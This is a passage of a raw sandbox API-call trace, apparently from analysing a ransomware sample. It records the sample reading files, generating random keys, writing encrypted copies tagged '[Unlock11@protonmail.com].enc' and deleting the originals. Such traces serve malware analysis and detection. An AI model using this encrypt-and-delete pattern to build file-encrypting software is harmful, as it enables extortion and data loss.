ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d6)) returned 1 [0121.122] GetLastError () returned 0x0 [0121.122] GetCurrentThreadId () returned 0x9b0 [0121.122] GetLastError () returned 0x0 [0121.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0121.122] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366afac | out: pbBuffer=0x366afac) returned 1 [0121.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0121.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0121.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0121.122] GetCurrentThreadId () returned 0x9b0 [0121.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea408 [0121.123] GetLastError () returned 0x0 [0121.123] GetLastError () returned 0x0 [0121.123] GetLastError () returned 0x0 [0121.123] GetLastError () returned 0x0 [0121.123] GetCurrentThreadId () returned 0x9b0 [0121.123] GetLastError () returned 0x0 [0121.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea408 | out: hHeap=0x2ad0000) returned 1 [0121.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea200 [0121.123] GetCurrentThreadId () returned 0x9b0 [0121.123] GetLastError () returned 0x0 [0121.124] GetLastError () returned 0x0 [0121.124] GetLastError () returned 0x0 [0121.124] GetLastError () returned 0x0 [0121.124] GetCurrentThreadId () returned 0x9b0 [0121.124] GetLastError () returned 0x0 [0121.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea200 | out: hHeap=0x2ad0000) returned 1 [0121.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de648 [0121.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4bb8 | out: hHeap=0x2ad0000) returned 1 [0121.124] GetLastError () returned 0x0 [0121.124] GetLastError () returned 0x0 [0121.124] GetLastError () returned 0x0 [0121.125] GetLastError () returned 0x0 [0121.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0121.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de578 [0121.125] GetLastError () returned 0x0 [0121.125] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.125] GetFileType (hFile=0x39c) returned 0x1 [0121.125] GetLastError () returned 0x0 [0121.125] GetCurrentThreadId () returned 0x9b0 [0121.125] GetLastError () returned 0x0 [0121.126] GetFileType (hFile=0x39c) returned 0x1 [0121.126] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.126] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.126] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.126] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.126] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.126] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.126] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.126] GetLastError () returned 0x0 [0121.126] GetCurrentThreadId () returned 0x9b0 [0121.126] GetLastError () returned 0x0 [0121.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de578 | out: hHeap=0x2ad0000) returned 1 [0121.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887890 | out: hHeap=0x2ad0000) returned 1 [0121.126] GetLastError () returned 0x0 [0121.127] GetLastError () returned 0x0 [0121.127] GetLastError () returned 0x0 [0121.127] GetLastError () returned 0x0 [0121.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0121.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de5d8 [0121.127] GetLastError () returned 0x0 [0121.127] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.128] GetFileType (hFile=0x3ac) returned 0x1 [0121.128] GetLastError () returned 0x0 [0121.128] GetCurrentThreadId () returned 0x9b0 [0121.128] GetLastError () returned 0x0 [0121.128] GetFileType (hFile=0x3ac) returned 0x1 [0121.128] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.129] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.129] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.129] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.129] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.129] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.129] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.129] GetLastError () returned 0x0 [0121.129] GetLastError () returned 0x0 [0121.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5d8 | out: hHeap=0x2ad0000) returned 1 [0121.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0121.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0121.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0121.132] CloseHandle (hObject=0x3ac) returned 1 [0121.132] CloseHandle (hObject=0x39c) returned 1 [0121.132] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml")) returned 0 [0121.133] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml", lpFilePart=0x9bada4*="ipshrv.xml") returned 0x3d [0121.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0121.133] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa5c)) returned 1 [0121.133] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366af34 | out: pbBuffer=0x366af34) returned 1 [0121.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0121.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3f78 [0121.133] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0121.134] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.134] GetFileType (hFile=0x39c) returned 0x1 [0121.134] GetFileType (hFile=0x39c) returned 0x1 [0121.134] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.134] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.134] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.134] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.134] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.134] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.134] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.134] GetLastError () returned 0x0 [0121.135] GetCurrentThreadId () returned 0x9b0 [0121.135] GetLastError () returned 0x0 [0121.135] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de668 | out: hHeap=0x2ad0000) returned 1 [0121.135] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38879b0 | out: hHeap=0x2ad0000) returned 1 [0121.135] GetLastError () returned 0x0 [0121.135] GetLastError () returned 0x0 [0121.135] GetLastError () returned 0x0 [0121.135] GetLastError () returned 0x0 [0121.135] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0121.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de528 [0121.135] GetLastError () returned 0x0 [0121.136] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.136] GetFileType (hFile=0x3ac) returned 0x1 [0121.136] GetLastError () returned 0x0 [0121.136] GetCurrentThreadId () returned 0x9b0 [0121.136] GetLastError () returned 0x0 [0121.136] GetFileType (hFile=0x3ac) returned 0x1 [0121.136] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.136] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.136] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.137] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.137] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.137] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.137] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.137] GetLastError () returned 0x0 [0121.137] GetCurrentThreadId () returned 0x9b0 [0121.137] GetLastError () returned 0x0 [0121.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0121.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0121.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0121.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0121.137] GetLastError () returned 0x0 [0121.138] GetLastError () returned 0x0 [0121.138] GetCurrentThreadId () returned 0x9b0 [0121.138] GetLastError () returned 0x0 [0121.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0121.138] GetLastError () returned 0x0 [0121.138] GetLastError () returned 0x0 [0121.138] GetCurrentThreadId () returned 0x9b0 [0121.138] GetLastError () returned 0x0 [0121.138] GetLastError () returned 0x0 [0121.140] GetLastError () returned 0x0 [0121.140] GetCurrentThreadId () returned 0x9b0 [0121.140] GetLastError () returned 0x0 [0121.140] GetCurrentThreadId () returned 0x9b0 [0121.140] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0xa75) returned 0x36f8548 [0121.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de538 [0121.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0121.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xa78) returned 0x382cb08 [0121.140] GetLastError () returned 0x0 [0121.141] GetLastError () returned 0x0 [0121.141] GetLastError () returned 0x0 [0121.141] GetLastError () returned 0x0 [0121.141] GetCurrentThreadId () returned 0x9b0 [0121.141] GetLastError () returned 0x0 [0121.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cb08 | out: hHeap=0x2ad0000) returned 1 [0121.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0121.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0121.141] GetLastError () returned 0x0 [0121.141] GetLastError () returned 0x0 [0121.141] GetCurrentThreadId () returned 0x9b0 [0121.142] GetLastError () returned 0x0 [0121.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35cc238 | out: hHeap=0x2ad0000) returned 1 [0121.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8fc8 [0121.142] GetLastError () returned 0x0 [0121.142] GetLastError () returned 0x0 [0121.142] GetCurrentThreadId () returned 0x9b0 [0121.142] GetLastError () returned 0x0 [0121.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8fc8 | out: hHeap=0x2ad0000) returned 1 [0121.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.142] GetLastError () returned 0x0 [0121.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0121.143] CloseHandle (hObject=0x3ac) returned 1 [0121.144] GetLastError () returned 0x0 [0121.144] GetCurrentThreadId () returned 0x9b0 [0121.144] GetLastError () returned 0x0 [0121.144] GetLastError () returned 0x0 [0121.144] CloseHandle (hObject=0x39c) returned 1 [0121.144] GetLastError () returned 0x0 [0121.144] GetCurrentThreadId () returned 0x9b0 [0121.144] GetLastError () returned 0x0 [0121.144] GetCurrentThreadId () returned 0x9b0 [0121.144] GetLastError () returned 0x0 [0121.145] GetLastError () returned 0x0 [0121.145] GetLastError () returned 0x0 [0121.145] GetLastError () returned 0x0 [0121.145] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0 [0121.145] GetLastError () returned 0x5 [0121.145] GetCurrentThreadId () returned 0x9b0 [0121.145] GetLastError () returned 0x5 [0121.145] GetLastError () returned 0x5 [0121.145] GetLastError () returned 0x5 [0121.145] GetLastError () returned 0x5 [0121.146] LocalFree (hMem=0x1053a70) returned 0x0 [0121.146] GetLastError () returned 0x5 [0121.146] GetLastError () returned 0x5 [0121.146] GetLastError () returned 0x5 [0121.146] GetLastError () returned 0x5 [0121.146] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml", lpFilePart=0x9bada4*="ipsid.xml") returned 0x3c [0121.146] GetCurrentThreadId () returned 0x9b0 [0121.146] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0121.146] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0121.146] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0121.147] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0121.147] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea4f8 [0121.147] GetLastError () returned 0x0 [0121.147] GetLastError () returned 0x0 [0121.147] GetLastError () returned 0x0 [0121.147] GetLastError () returned 0x0 [0121.147] GetCurrentThreadId () returned 0x9b0 [0121.147] GetLastError () returned 0x0 [0121.147] GetCurrentThreadId () returned 0x9b0 [0121.147] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea4f8 | out: hHeap=0x2ad0000) returned 1 [0121.147] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea4f8 [0121.148] GetLastError () returned 0x0 [0121.148] GetLastError () returned 0x0 [0121.148] GetLastError () returned 0x0 [0121.148] GetLastError () returned 0x0 [0121.148] GetCurrentThreadId () returned 0x9b0 [0121.148] GetLastError () returned 0x0 [0121.148] GetLastError () returned 0x0 [0121.148] GetLastError () returned 0x0 [0121.149] GetLastError () returned 0x0 [0121.149] GetLastError () returned 0x0 [0121.149] GetCurrentThreadId () returned 0x9b0 [0121.149] GetLastError () returned 0x0 [0121.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea4f8 | out: hHeap=0x2ad0000) returned 1 [0121.149] GetLastError () returned 0x0 [0121.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0121.149] GetLastError () returned 0x0 [0121.149] GetLastError () returned 0x0 [0121.149] GetLastError () returned 0x0 [0121.149] GetCurrentThreadId () returned 0x9b0 [0121.150] GetLastError () returned 0x0 [0121.150] GetCurrentThreadId () returned 0x9b0 [0121.150] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8ab68 [0121.150] GetLastError () returned 0x0 [0121.150] GetLastError () returned 0x0 [0121.150] GetLastError () returned 0x0 [0121.150] GetLastError () returned 0x0 [0121.150] GetCurrentThreadId () returned 0x9b0 [0121.150] GetLastError () returned 0x0 [0121.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab68 | out: hHeap=0x2ad0000) returned 1 [0121.150] GetLastError () returned 0x0 [0121.151] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0121.151] GetLastError () returned 0x0 [0121.151] GetLastError () returned 0x0 [0121.151] GetLastError () returned 0x0 [0121.151] GetCurrentThreadId () returned 0x9b0 [0121.151] GetLastError () returned 0x0 [0121.151] GetLastError () returned 0x0 [0121.151] GetLastError () returned 0x0 [0121.151] GetLastError () returned 0x0 [0121.151] GetLastError () returned 0x0 [0121.151] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0121.152] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d14d081, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d14d081, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0a)) returned 1 [0121.152] GetLastError () returned 0x0 [0121.152] GetCurrentThreadId () returned 0x9b0 [0121.152] GetLastError () returned 0x0 [0121.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887530 | out: hHeap=0x2ad0000) returned 1 [0121.152] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ad54 | out: pbBuffer=0x366ad54) returned 1 [0121.152] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0121.152] GetCurrentThreadId () returned 0x9b0 [0121.152] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0121.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0121.152] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea408 [0121.153] GetLastError () returned 0x0 [0121.153] GetLastError () returned 0x0 [0121.153] GetLastError () returned 0x0 [0121.153] GetLastError () returned 0x0 [0121.153] GetCurrentThreadId () returned 0x9b0 [0121.153] GetLastError () returned 0x0 [0121.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea408 | out: hHeap=0x2ad0000) returned 1 [0121.153] GetCurrentThreadId () returned 0x9b0 [0121.153] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea160 [0121.153] GetLastError () returned 0x0 [0121.154] GetLastError () returned 0x0 [0121.154] GetLastError () returned 0x0 [0121.154] GetLastError () returned 0x0 [0121.154] GetCurrentThreadId () returned 0x9b0 [0121.154] GetLastError () returned 0x0 [0121.154] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea160 | out: hHeap=0x2ad0000) returned 1 [0121.154] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5e8 [0121.154] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4288 | out: hHeap=0x2ad0000) returned 1 [0121.154] GetCurrentThreadId () returned 0x9b0 [0121.154] GetLastError () returned 0x0 [0121.154] GetLastError () returned 0x0 [0121.154] GetLastError () returned 0x0 [0121.155] GetLastError () returned 0x0 [0121.155] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0121.155] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de668 [0121.155] GetLastError () returned 0x0 [0121.155] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.155] GetFileType (hFile=0x39c) returned 0x1 [0121.155] GetLastError () returned 0x0 [0121.155] GetCurrentThreadId () returned 0x9b0 [0121.155] GetLastError () returned 0x0 [0121.155] GetFileType (hFile=0x39c) returned 0x1 [0121.156] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.156] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.156] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.156] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.156] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.156] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.156] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.156] GetLastError () returned 0x0 [0121.156] GetCurrentThreadId () returned 0x9b0 [0121.156] GetLastError () returned 0x0 [0121.156] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de668 | out: hHeap=0x2ad0000) returned 1 [0121.156] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0121.156] GetLastError () returned 0x0 [0121.157] GetLastError () returned 0x0 [0121.157] GetLastError () returned 0x0 [0121.157] GetLastError () returned 0x0 [0121.157] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.157] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de628 [0121.157] GetLastError () returned 0x0 [0121.157] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.157] GetFileType (hFile=0x3ac) returned 0x1 [0121.158] GetLastError () returned 0x0 [0121.158] GetCurrentThreadId () returned 0x9b0 [0121.158] GetLastError () returned 0x0 [0121.158] GetFileType (hFile=0x3ac) returned 0x1 [0121.158] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.158] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.158] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.158] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: 